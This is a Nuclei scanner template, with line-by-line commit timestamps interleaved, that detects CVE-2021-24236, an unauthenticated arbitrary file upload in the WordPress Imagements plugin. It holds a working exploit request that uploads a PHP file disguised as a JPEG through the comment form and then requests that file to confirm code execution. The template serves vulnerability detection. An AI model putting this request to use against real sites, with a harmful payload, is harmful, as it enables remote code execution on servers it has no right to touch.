2023-07-11 19:49:27 +00:00
id : "CVE-2021-24236"
2022-07-30 10:13:30 +00:00
info :
2022-10-10 19:22:59 +00:00
name : WordPress Imagements <=1.2.5 - Arbitrary File Upload
2022-07-30 10:13:30 +00:00
author : pussycat0x
severity : critical
description : |
2022-10-10 19:22:59 +00:00
WordPress Imagements plugin through 1.2.5 is susceptible to arbitrary file upload which can lead to remote code execution. The plugin allows images to be uploaded in comments but only checks for the Content-Type in the request to forbid dangerous files. An attacker can upload arbitrary files by using a valid image Content-Type along with a PHP filename and code.
2023-09-06 12:09:01 +00:00
remediation : |
Update WordPress Imagements plugin to version 1.2.6 or later to fix the arbitrary file upload vulnerability.
2022-07-30 10:13:30 +00:00
reference :
- https://wpscan.com/vulnerability/8f24e74f-60e3-4100-9ab2-ec31b9c9cdea
2022-07-31 04:35:00 +00:00
- https://wordpress.org/plugins/imagements/
2022-07-30 22:42:08 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24236
2022-10-10 19:22:59 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-24236
2022-07-30 10:13:30 +00:00
classification :
2022-10-10 19:40:25 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-07-11 19:49:27 +00:00
cve-id : "CVE-2021-24236"
2022-10-10 19:40:25 +00:00
cwe-id : CWE-434
2023-08-31 11:46:18 +00:00
epss-score : 0.14539
2023-11-10 17:07:52 +00:00
epss-percentile : 0.95186
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:imagements_project:imagements:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : imagements_project
product : imagements
2023-09-06 12:09:01 +00:00
framework : wordpress
2023-07-11 19:49:27 +00:00
tags : cve,wp,unauth,imagements,wpscan,cve2021,fileupload,wordpress,wp-plugin,intrusive
2022-07-30 10:13:30 +00:00
variables :
php : "{{to_lower('{{randstr}}')}}.php"
post : "1"
2023-04-27 04:28:59 +00:00
http :
2022-07-30 10:13:30 +00:00
- raw :
- |
POST /wp-comments-post.php HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryIYl2Oz8ptq5OMtbU
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition : form-data; name="comment"
{{randstr}}
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition : form-data; name="author"
{{randstr}}
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition : form-data; name="email"
{{randstr}}@email.com
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition : form-data; name="url"
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition : form-data; name="checkbox"
2022-10-25 13:40:49 +00:00
2022-07-30 10:13:30 +00:00
yes
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition : form-data; name="naam"
{{randstr}}
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition : form-data; name="image"; filename="{{php}}"
Content-Type : image/jpeg
<?php echo 'CVE-2021-24236'; ?>
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition : form-data; name="submit"
Post Comment
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition : form-data; name="comment_post_ID"
{{post}}
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition : form-data; name="comment_parent"
0
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU--
- |
GET /wp-content/plugins/imagements/images/{{php}} HTTP/1.1
Host : {{Hostname}}
req-condition : true
matchers :
- type : word
part : body_2
words :
2022-07-30 22:42:08 +00:00
- "CVE-2021-24236"
2023-11-10 17:07:52 +00:00
# digest: 490a0046304402203522748fbf1ae95549b19fab3b15e856ca2b0f7b87ea2ac7e39505bb9ccc8915022042b7b434fb4c9628b1464df097eebcc0fc0ba0a25da3fedae0e253b2369f7f26:922c64590222798bb761d5b6d8e72950